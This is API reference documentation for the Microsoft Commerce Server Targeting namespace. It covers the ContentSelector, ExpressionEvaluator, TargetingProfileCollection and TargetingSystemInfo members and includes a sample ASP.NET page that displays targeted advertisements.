

ContentSelector.Size Property (BCL)

The Size property is a read/write String that gets or sets the size of the content that should be returned.

Definition

[Visual Basic .NET]
Public Property Size As System.String
[C#]
public System.String Size {get; set;}

Property Value

The size of the content that should be returned.

Remarks

When the Size property is not equal to NULL, a filter is set up that will ask for only content items of the specified size. Content sizes are managed in the Reference Tables portion of the Campaigns module in Commerce Server Business Desk.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelector.TraceMessages Property (BCL)

The TraceMessages property is a read-only StringCollection object containing the trace messages that describe the scoring of the content items. This property will always return null if the TraceMode property is not set to True.

Definition

[Visual Basic .NET]
Public ReadOnly Property TraceMessages As System.Collections.Specialized.StringCollection[]
[C#]
public System.Collections.Specialized.StringCollection[] TraceMessages {get;}

Property Value

A StringCollection object containing the trace messages that describe the scoring of the content items.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelector.TraceMode Property (BCL)

The TraceMode property is a read/write Boolean that indicates whether tracing of content item scoring should be enabled.

Definition

[Visual Basic .NET]
Public Property TraceMode As System.Boolean
[C#]
public System.Boolean TraceMode {get; set;}

Property Value

A Boolean value that indicates whether tracing of content item scoring should be enabled.

Remarks

When tracing is enabled, the TraceMessages property for the content items will be available in the TraceMessages collection after the GetContent method call returns.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ExpressionEvaluator Class (BCL)

Evaluates targeting expressions.

Public Instance Constructor

Constructor | Description
ExpressionEvaluator Constructor(String, DebugContext) | Creates a new instance of the ExpressionEvaluator class that runs against the expression store in the SQL database given by the connectionString parameter. Debug trace messages will be logged using the DebugContext object.

Public Instance Methods

Method | Description
CreateEvaluationContextHandle (TargetingProfileCollection) | Creates an EvaluationContext object for evaluating multiple expressions against the same set of profiles.
Dispose | Releases resources used by this object.
Evaluate(Int32, TargetingProfileCollection) | Evaluates the expression specified by the expressionID parameter using the provided profiles.
EvaluateInContext(Int32, Object) | Evaluates the expression specified by the expressionID parameter using the profiles contained in the EvaluationContextHandle object.
EvaluateXML(String, TargetingProfileCollection) | Evaluates the expression represented in the XML string using the provided profiles.
FlushCache | Removes all loaded and precompiled expressions from the evaluator's expression cache.
FlushExpressionFromCache(Int32) | Removes a single-loaded and precompiled expression from the evaluator's expression cache.
LoadAll | Loads and precompiles all expressions in the expression store database, and updates the expressions cache.
LoadExpression(Int32) | Loads and precompiles the specified expression from the expression store database, and updates the cache if necessary.
ValidateExpressionXml(String) | Checks whether an Extensible Markup Language (XML) fragment is a syntactically correct expression.

Public Instance Properties

Property | Description
CachedExpressionCount | Gets an Int32 representing the number of expressions currently in the evaluator's expression cache.

Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ExpressionEvaluator Constructor (BCL)

Public Instance Constructor

Constructor | Description
ExpressionEvaluator Constructor(String, DebugContext) | Creates a new instance of the ExpressionEvaluator class that runs against the expression store in the SQL database given by the connectionString parameter. Debug trace messages will be logged using the DebugContext object.


ExpressionEvaluator Constructor(String, DebugContext) (BCL)

Use this method to create a new instance of the ExpressionEvaluator class that runs against the expression store in the SQL database given by the parameter. Debug trace messages will be logged using the DebugContext object.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal connectionString As System.String, _
  ByVal dbgContext As DebugContext _
)
[C#]
public ExpressionEvaluator(
  System.String connectionString,
  DebugContext dbgContext
);

Parameters

[Visual Basic .NET]
connectionString
An ADO connection string. May not be null.
dbgContext
An instance of the DebugContext class. Determines how debugging and tracing information output by this class will be output to the user. May not be null.
[C#]
connectionString
An ADO connection string. May not be null.
dbgContext
An instance of the DebugContext class. Determines how debugging and tracing information output by this class will be output to the user. May not be null.

Remarks

Throws ArgumentNullException if either the either the connectionString or the dbgContext arguments are null.

Throws CommerceCreateObjectException if the ExpressionEvaluator COM component could not be created.

Throws CommerceTargetingException if the connection to the expression store database failed.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ExpressionEvaluator Methods (BCL)

Public Instance Methods

Method | Description
CreateEvaluationContextHandle (TargetingProfileCollection) | Creates an EvaluationContext object for evaluating multiple expressions against the same set of profiles.
Dispose | Releases resources used by this object.
Evaluate(Int32, TargetingProfileCollection) | Evaluates the expression specified by the expressionID parameter using the provided profiles.
EvaluateInContext(Int32, Object) | Evaluates the expression specified by the expressionID parameter using the profiles contained in the EvaluationContextHandle object.
EvaluateXML(String, TargetingProfileCollection) | Evaluates the expression represented in the XML string using the provided profiles.
FlushCache | Removes all loaded and precompiled expressions from the evaluator's expression cache.
FlushExpressionFromCache(Int32) | Removes a single-loaded and precompiled expression from the evaluator's expression cache.
LoadAll | Loads and precompiles all expressions in the expression store database, and updates the expressions cache.
LoadExpression(Int32) | Loads and precompiles the specified expression from the expression store database, and updates the cache if necessary.
ValidateExpressionXml(String) | Checks whether an Extensible Markup Language (XML) fragment is a syntactically correct expression.

Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


ExpressionEvaluator.CheckState Method (BCL)

Use this method to verify that the object has not already been disposed.

Definition

[Visual Basic .NET]
Protected Overridable Public Sub CheckState( _
)
[C#]
protected virtual void CheckState(
);

Remarks

Throws the ObjectDisposedException if the object has already been disposed.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ExpressionEvaluator.CreateEvaluationContextHandle (TargetingProfileCollection) Method (BCL)

Use this method to create an EvaluationContext object for evaluating multiple expressions against the same set of profiles.

Definition

[Visual Basic .NET]
Public Function CreateEvaluationContextHandle( _
  ByVal profiles As TargetingProfileCollection _
) As System.Object
[C#]
public System.Object CreateEvaluationContextHandle(
  TargetingProfileCollection profiles
);

Parameters

[Visual Basic .NET]
profiles
A TargetingProfileCollection, representing a set of named Profile objects to be targeted. May not be null.
[C#]
profiles
A TargetingProfileCollection, representing a set of named Profile objects to be targeted. May not be null.

Return Value

An EvaluationContext object for use with the EvaluateInContext method.

Remarks

Throws ArgumentNullException if the profiles parameter was passed as null.

Throws CommerceTargetingException for all other failures.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ExpressionEvaluator.Dispose Method (BCL)

Use this method to release resources used by this object.

Definition

[Visual Basic .NET]
Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.IDisposable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ExpressionEvaluator.Dispose(Boolean) Method (BCL)

Use this method to release the unmanaged resources used by this object and optionally release the managed resources.

Definition

[Visual Basic .NET]
Protected Overridable Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected virtual void Dispose(
  System.Boolean disposing
);

Parameters

[Visual Basic .NET]
disposing
True if this was called from the Dispose method, False if called from the finalizer.
[C#]
disposing
True if this was called from the Dispose method, False if called from the finalizer.

Remarks

If this class is not sealed, derived classes can override this method to dispose of their resources. For more information, see the .NET Framework SDK documentation for implementing a Dispose method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ExpressionEvaluator.Evaluate (Int32, TargetingProfileCollection) Method (BCL)

Use this method to evaluate the expression specified by the parameter and the provided profiles.

Definition

[Visual Basic .NET]
Public Function Evaluate( _
  ByVal expressionID As System.Int32, _
  ByVal profiles As TargetingProfileCollection _
) As ExpressionEvaluator.ExpressionResult
[C#]
public ExpressionEvaluator.ExpressionResult Evaluate(
  System.Int32 expressionID,
  TargetingProfileCollection profiles
);

Parameters

[Visual Basic .NET]
expressionID
The expression ID of the expression to be evaluated. Must be greater than 0.
profiles
A TargetingProfileCollection, representing a set of named Profile objects to be targeted. May not be null.
[C#]
expressionID
The expression ID of the expression to be evaluated. Must be greater than 0.
profiles
A TargetingProfileCollection, representing a set of named Profile objects to be targeted. May not be null.

Return Value

An ExpressionResult enumerator.

Remarks

Throws ArgumentNullException if the profiles argument was passed as null.

Throws ArgumentOutOfRangeException if the expressionID parameter is less than one.

Throws CommerceTargetingException for all other failures.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ExpressionEvaluator.EvaluateInContext (Int32, Object) Method (BCL)

Use the following method to evaluate the expression specified by the parameter and the profiles contained in the EvaluationContextHandle object.

Definition

[Visual Basic .NET]
Public Function EvaluateInContext( _
  ByVal expressionID As System.Int32, _
  ByVal evaluationContextHandle As System.Object _
) As ExpressionEvaluator.ExpressionResult
[C#]
public ExpressionEvaluator.ExpressionResult EvaluateInContext(
  System.Int32 expressionID,
  System.Object evaluationContextHandle
);

Parameters

[Visual Basic .NET]
expressionID
ExpressionID of the expression to be evaluated. Must be greater than 0.
evaluationContextHandle
An EvaluationContext object created by the CreateEvaluationContextHandle method.
[C#]
expressionID
An expression ID of the expression to be evaluated. Must be greater than 0.
evaluationContextHandle
An EvaluationContext object created by the CreateEvaluationContextHandle method.

Return Value

An ExpressionResult enumerator.

Remarks

Throws ArgumentNullException if the evaluationContextHandle parameter was passed as null.

Throws ArgumentOutOfRangeException if the expressionID parameter is less than one.

Throws CommerceTargetingException for all other failures.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ExpressionEvaluator.EvaluateXML (String, TargetingProfileCollection) Method (BCL)

Use this method to evaluate the expression represented in the XML string using the provided profiles.

Definition

[Visual Basic .NET]
Public Function EvaluateXML( _
  ByVal expressionXml As System.String, _
  ByVal profiles As TargetingProfileCollection _
) As ExpressionEvaluator.ExpressionResult
[C#]
public ExpressionEvaluator.ExpressionResult EvaluateXML(
  System.String expressionXml,
  TargetingProfileCollection profiles
);

Parameters

[Visual Basic .NET]
expressionXml
An XML body of the expression to be evaluated. Must be valid and well-formed. This parameter may not be null.
profiles
A TargetingProfileCollection, representing a set of named Profile objects to be targeted. May not be null.
[C#]
expressionXml
An XML body of the expression to be evaluated. Must be valid and well-formed. This parameter may not be null.
profiles
A TargetingProfileCollection, representing a set of named Profile objects to be targeted. May not be null.

Return Value

An ExpressionResult object.

Remarks

Throws ArgumentNullException if one of the parameters passed is null.

Throws CommerceTargetingException for all other failures.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ExpressionEvaluator.FlushCache Method (BCL)

Use this method to remove all loaded and precompiled expressions from the evaluator's expression cache.

Definition

[Visual Basic .NET]
Public Sub FlushCache( _
)
[C#]
public void FlushCache(
);

Remarks

Throws CommerceTargetingException if the cache could not be flushed.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ExpressionEvaluator.FlushExpressionFromCache (Int32) Method (BCL)

Use this method to removes a single-loaded and precompiled expression from the evaluator's expression cache.

Definition

[Visual Basic .NET]
Public Sub FlushExpressionFromCache( _
  ByVal expressionID As System.Int32 _
)
[C#]
public void FlushExpressionFromCache(
  System.Int32 expressionID
);

Parameters

[Visual Basic .NET]
expressionID
The expression ID of the expression to be flushed. Must be greater than 0.
[C#]
expressionID
The expression ID of the expression to be flushed. Must be greater than 0.

Remarks

Throws ArgumentOutOfRangeException if the expressionID parameter is less than one.

Throws CommerceTargetingException for all other failures.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ExpressionEvaluator.LoadAll Method (BCL)

Use the following method to load and precompile all expressions in the expression store database, and update the expressions cache.

Definition

[Visual Basic .NET]
Public Sub LoadAll( _
)
[C#]
public void LoadAll(
);

Remarks

Throws CommerceTargetingException for all failures.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ExpressionEvaluator.LoadExpression (Int32) Method (BCL)

Use this method to load and precompile the specified expression from the expression store database, and update the cache if necessary.

Definition

[Visual Basic .NET]
Public Sub LoadExpression( _
  ByVal expressionID As System.Int32 _
)
[C#]
public void LoadExpression(
  System.Int32 expressionID
);

Parameters

[Visual Basic .NET]
expressionID
The expression ID of the expression to be loaded. Must be greater than 0.
[C#]
expressionID
The expression ID of the expression to be loaded. Must be greater than 0.

Remarks

Throws ArgumentOutOfRangeException if the expressionID parameter is less than one.

Throws CommerceTargetingException for all other failures.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ExpressionEvaluator.ValidateExpressionXml (String) Method (BCL)

Use this method to check whether an Extensible Markup Language (XML) fragment is a syntactically correct expression.

Definition

[Visual Basic .NET]
Public Function ValidateExpressionXml( _
  ByVal expressionXml As System.String _
) As System.Boolean
[C#]
public System.Boolean ValidateExpressionXml(
  System.String expressionXml
);

Parameters

[Visual Basic .NET]
expressionXml
The XML fragment string. May not be null.
[C#]
expressionXml
The XML fragment string. May not be null.

Return Value

True is returned if the expression XML is valid. If it is invalid, an exception is thrown.

Remarks

Throws ArgumentNullException if the expressionXML parameter was passed as null.

Throws CommerceTargetingException for all other failures.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ExpressionEvaluator Properties (BCL)

Public Instance Properties

Property | Description
CachedExpressionCount | Gets an Int32 representing the number of expressions currently in the evaluator's expression cache.


ExpressionEvaluator.CachedExpressionCount Property (BCL)

The CachedExpressionCount property is a read-only Int32 that represents the number of expressions currently in the evaluator's expression cache.

Definition

[Visual Basic .NET]
Public ReadOnly Property CachedExpressionCount As System.Int32
[C#]
public System.Int32 CachedExpressionCount {get;}

Property Value

The number of expressions currently in the evaluator's expression cache.

Remarks

Throws CommerceTargetingException for all failures.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ExpressionEvaluator.ExpressionResult Enumeration (BCL)

An expression result: true, false, or undefined.

Members

Member name | Description
False | The expression evaluated to False.
True | The expression evaluated to True.
UndefinedResult | The expression result could not be determined because a referenced profile or profile property did not exist.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TargetingProfileCollection Class (BCL)

Stores the set of named Profile objects to be targeted.

Public Instance Constructor

Constructor | Description
TargetingProfileCollection Constructor | Creates a new instance of the TargetingProfileCollection class.

Public Instance Methods

Method | Description
Add(String, Profile) | Adds a profile to the collection.
Add(String, Object) | Adds a Commerce.IDictionary object containing targeting properties to the collection.
CopyTo(Array, Int32) | Copies the items to an array, starting at a particular array index.
Dispose | Releases resources used by this object.
GetEnumerator | Supports enumeration of the items in the collection.

Public Instance Properties

Property | Description
Count | Gets the number of items contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized.
Item(String) | Indexer to retrieve a profile or a Commerce.Dictionary object from the collection.
SyncRoot | Gets an object that can be used for synchronized access to the collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TargetingProfileCollection Constructor (BCL)

Public Instance Constructor

Constructor | Description
TargetingProfileCollection Constructor | Creates a new instance of the TargetingProfileCollection class.


TargetingProfileCollection Constructor (BCL)

Use this method to create a new instance of the TargetingProfileCollection class.

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public TargetingProfileCollection(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TargetingProfileCollection Methods (BCL)

Public Instance Methods

Method | Description
Add(String, Profile) | Adds a profile to the collection.
Add(String, Object) | Adds a Commerce.IDictionary object containing targeting properties to the collection.
CopyTo(Array, Int32) | Copies the items to an array, starting at a particular array index.
Dispose | Releases resources used by this object.
GetEnumerator | Supports enumeration of the items in the collection.


TargetingProfileCollection.Add (String, Profile) Method (BCL)

Use this method to add a profile to the collection.

Definition

[Visual Basic .NET]
Public Sub Add( _
  ByVal name As System.String, _
  ByVal profile As Profile _
)
[C#]
public void Add(
  System.String name,
  Profile profile
);

Parameters

[Visual Basic .NET]
name
The name of the profile. This must match the profile identifier portion of any expressions that are to evaluate against the profile. May not be null.
profile
The profile to add. May not be null.
[C#]
name
The name of the profile. This must match the profile identifier portion of any expressions that are to evaluate against the profile. May not be null.
profile
The profile to add. May not be null.

Remarks

Throws ArgumentNullException if one of the required parameter values was null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TargetingProfileCollection.Add (String, Object) Method (BCL)

Use this method to add a Commerce.IDictionary object containing targeting properties to the collection.

Definition

[Visual Basic .NET]
Public Sub Add( _
  ByVal name As System.String, _
  ByVal dictionary As System.Object _
)
[C#]
public void Add(
  System.String name,
  System.Object dictionary
);

Parameters

[Visual Basic .NET]
name
The name of the profile. This must match the profile identifier portion of any expressions that are to evaluate against the profile. May not be null.
dictionary
The Dictionary object to add. May not be null.
[C#]
name
The name of the profile. This must match the profile identifier portion of any expressions that are to evaluate against the profile. May not be null.
dictionary
The Dictionary object to add. May not be null.

Remarks

Throws ArgumentNullException if one of the required parameter values was null.

Throws ArgumentException if the dictionary parameter is not a valid dictionary.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TargetingProfileCollection.CopyTo (Array, Int32) Method (BCL)

Use this method to copy the items to an array, starting at a particular array index.

Definition

[Visual Basic .NET]
Overridable Public Sub CopyTo( _
  ByVal array As System.Array, _
  ByVal index As System.Int32 _
)
[C#]
public virtual void CopyTo(
  System.Array array,
  System.Int32 index
);

Parameters

[Visual Basic .NET]
array
The array to copy elements into.
index
The starting element in the array to copy elements into.
[C#]
array
The array to copy elements into.
index
The starting element in the array to copy elements into.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TargetingProfileCollection.Dispose Method (BCL)

Use this method to release resources used by this object.

Definition

[Visual Basic .NET]
Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.IDisposable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TargetingProfileCollection.GetEnumerator Method (BCL)

Use this method to support enumeration of the items in the collection.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Return Value

IEnumerator for enumerating the profile names in the collection.

Implements

System.ICollections.IEnumerable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TargetingProfileCollection Properties (BCL)

Public Instance Properties

Property | Description
Count | Gets the number of items contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized.
Item(String) | Indexer to retrieve a profile or a Commerce.Dictionary object from the collection.
SyncRoot | Gets an object that can be used for synchronized access to the collection.


TargetingProfileCollection.Count Property (BCL)

The Count property is a read-only integer that gets the number of items contained in the collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Count As System.Int32
[C#]
public virtual System.Int32 Count {get;}

Property Value

The number of items contained in the collection.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TargetingProfileCollection.IsSynchronized Property (BCL)

The IsSynchronized property is a read-only boolean that indicates whether access to the collection is synchronized.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IsSynchronized As System.Boolean
[C#]
public virtual System.Boolean IsSynchronized {get;}

Property Value

A Boolean that indicates whether access to the collection is synchronized.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TargetingProfileCollection.Item Property (BCL)

The Items property is a read-only object that retrieves a profile or a Commerce.Dictionary object from the collection.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal key As System.String _
) As System.Object
[C#]
public System.Object Item(
  System.String key
) {get;}

Parameters

[Visual Basic .NET]
key
The name of the key to get.
[C#]
key
The name of the key to get.

Property Value

A profile or a Commerce.Dictionary object from the collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TargetingProfileCollection.SyncRoot Property (BCL)

The SyncRoot property is a read-only object that can be used for synchronized access to the collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property SyncRoot As System.Object
[C#]
public virtual System.Object SyncRoot {get;}

Property Value

The Object that can be used for synchronized access to the collection.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TargetingSystemInfo Class (BCL)

Gets the current instances of the classes required by the Targeting System.

Public Instance Properties

Property | Description
ExpressionEvaluator | Gets the current instance of the ExpressionEvaluator class.
SelectionContexts | Gets the collection of configured ContentSelectionContext objects.
TargetingContextProfile | Gets or sets the TargetingContext profile for use on the page. The TargetingContext profile is used to pass runtime properties into the ContentSelector or ExpressionEvaluator objects for targeting.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TargetingSystemInfo Properties (BCL)

Public Instance Properties

Property | Description
ExpressionEvaluator | Gets the current instance of the ExpressionEvaluator class.
SelectionContexts | Gets the collection of configured ContentSelectionContext objects.
TargetingContextProfile | Gets or sets the TargetingContext profile for use on the page. The TargetingContext profile is used to pass runtime properties into the ContentSelector or ExpressionEvaluator objects for targeting.


TargetingSystemInfo.ExpressionEvaluator Property (BCL)

The ExpressionEvaluator property is a read-only ExpressionEvaluator that gets the current instance of ExpressionEvaluator.

Definition

[Visual Basic .NET]
Public ReadOnly Property ExpressionEvaluator As ExpressionEvaluator
[C#]
public ExpressionEvaluator ExpressionEvaluator {get;}

Property Value

The current instance of ExpressionEvaluator.

Remarks

The value will be null if the CommerceExpressionModule class is not configured in the web.config file. Check this property for a null value before referencing it.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TargetingSystemInfo.SelectionContexts Property (BCL)

The SelectionContexts property is a read-only ContentSelectionContextCollection that gets the collection of configured ContentSelectionContext objects.

Definition

[Visual Basic .NET]
Public ReadOnly Property SelectionContexts As ContentSelectionContextCollection
[C#]
public ContentSelectionContextCollection SelectionContexts {get;}

Property Value

The collection of configured ContentSelectionContext objects.

Remarks

The value will be null if the CommerceContentSelectionModule class is not configured in web.config. Check this property for a null value before referencing it.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TargetingSystemInfo.TargetingContextProfile Property (BCL)

The TargetingContextProfile property is a read/write Profile that gets or sets the TargetingContext profile for use on the page. The TargetingContext profile is used to pass runtime properties into the ContentSelector or ExpressionEvaluator objects for targeting.

Definition

[Visual Basic .NET]
Public Property TargetingContextProfile As Profile
[C#]
public Profile TargetingContextProfile {get; set;}

Property Value

The TargetingContext profile for use on the page.

Remarks

If the property is accessed before it is explicitly set, a new instance will automatically be created and returned.

Although this property is not available in the Commerce Server COM object model, ASP-based sites can use the Commerce.GenId class to manually create a new Guid for each instance of the TargetingContext profile that is created and assign that to the unique_id property. For more information, see Expression Programming Concepts.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Example Code for the Microsoft.CommerceServer.Targeting Namespace

Examples

Example | Description
Code to Display Targeted Advertisements on an ASP.NET Web Form | Describes how to create a targeting profile, create a user profile, run the content selector object, and display targeted advertisements on an ASP.NET Web form.


Code to Display Targeted Advertisements on an Asp.Net Web Form

Use the following code to create a targeting profile, create a user profile, run the content selector object, and display targeted advertisements on an ASP.NET Web form.

<%@ Page Language="C#" Debug="true" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Profiles" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Caching" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Targeting" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Pipelines" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Diagnostics" %>

<HTML>
    <HEAD>
        <script language="C#" runat="server">

          public void ShowAds_OnClick(Object sender, EventArgs args)
          {
              CommerceContext csContext = CommerceContext.Current;
              //
             // Create a targeting profile.
             //
             csContext.TargetingSystem.TargetingContextProfile["PageGroup"].Value = "Sports";
                //
                // Create a user profile
                //
             Guid guid = Guid.NewGuid();
             Profile userProfile = csContext.ProfileSystem.CreateProfile
                                                             (
                                                                 guid.ToString(),
                                                                 "UserObject"
                                                             );
                //
                // Get a ContentSelector and set its properties
                //
                ContentSelector cso = csContext.TargetingSystem.SelectionContexts["advertising"].GetSelector();

                cso.Profiles.Add("targetingContext", csContext.TargetingSystem.TargetingContextProfile);
                cso.Profiles.Add("user", userProfile);
                cso.TraceMode = true;
                cso.ItemsRequested = 2;
                cso.Size = "Half";
                //
                // Get some content
                //
                StringCollection content = cso.GetContent();
                //
                // Bind the results to a repeater
                //
                if (content.Count > 0)
                {
                   repeaterShowAds.DataSource = content;
                   repeaterShowAds.DataBind();
                }
                //
                // Dump out Trace Messages
                //
                if (cso.TraceMessages != null)
                {
                    csContext.DebugContext.Trace("Targeting Sample", "Trace Messages");
                    int index = 0;
                    foreach (StringCollection messages in cso.TraceMessages)
                    {
                        csContext.DebugContext.Trace("Targeting Sample", "Content item row index=" + index++);
                        foreach (string message in messages)
                        {
                           csContext.DebugContext.Trace("Targeting Sample", message);
                        }
                    }
                    if (index == 0)
                    {
                       csContext.DebugContext.Trace("Targeting Sample", "It looks like there were no ads on schedule");
                    }
                }
                else
                {
                   csContext.DebugContext.Trace("Targeting Sample", "ContentSelection tracing is unavailable.");
                }
                csContext.DebugContext.Trace("Targeting Sample", "Dumping out contents of selectionContext...");
                ContentSelectionContext selectionContext = csContext.TargetingSystem.SelectionContexts["advertising"];
                foreach (string key in selectionContext)
                {
                   csContext.DebugContext.Trace("Targeting Sample", "key=" + key + " value=" + selectionContext[key].ToString());
                }
            }
        </script>
    </HEAD>
    <body>
        <form ID="Targeting" method="post" runat="server">
            <h3 id="H31" align="left" runat="server">
                Display an advertisement targeting the UserObject and TargetingContext
                profiles.</h3>
            <H4 class="dtH4">You should create an ad with a Target Group associated with the <B>Sports</B>
                page group before running this example.&nbsp;</H4>
            <P class="dtH4">
                <asp:Button id="ButtonShowAds" Text="Show Sports Ads" runat="server" OnClick="ShowAds_OnClick" /></P>
            <P class="dtH4">
                <asp:Repeater id="repeaterShowAds" runat="server">
                    <HeaderTemplate>
                        <table border="1">
                            <tr>
                                <td><b>Sports Ads</b></td>
                            </tr>
                    </HeaderTemplate>
                    <ItemTemplate>
                        <tr>
                            <td>
                                <%# Container.DataItem %>
                            </td>
                        </tr>
                    </ItemTemplate>
                    <FooterTemplate>
                        </TABLE>
                    </FooterTemplate>
                </asp:Repeater></P>
        </form>
    </body>
</HTML>

See Also

CommerceContext Class (BCL)

ContentSelectionContext Class (BCL)

ContentSelector Class (BCL)

Profile Class (BCL)


Microsoft.CommerceServer.Interop

The following table lists and describes the classes contained in the Microsoft.CommerceServer.Interop namespace.

Class | Description
AuthManager | Performs user identification and authentication, and manages user security information.
DataFunctions | Perform locale-based formatting, parsing, and value range checking in a site.
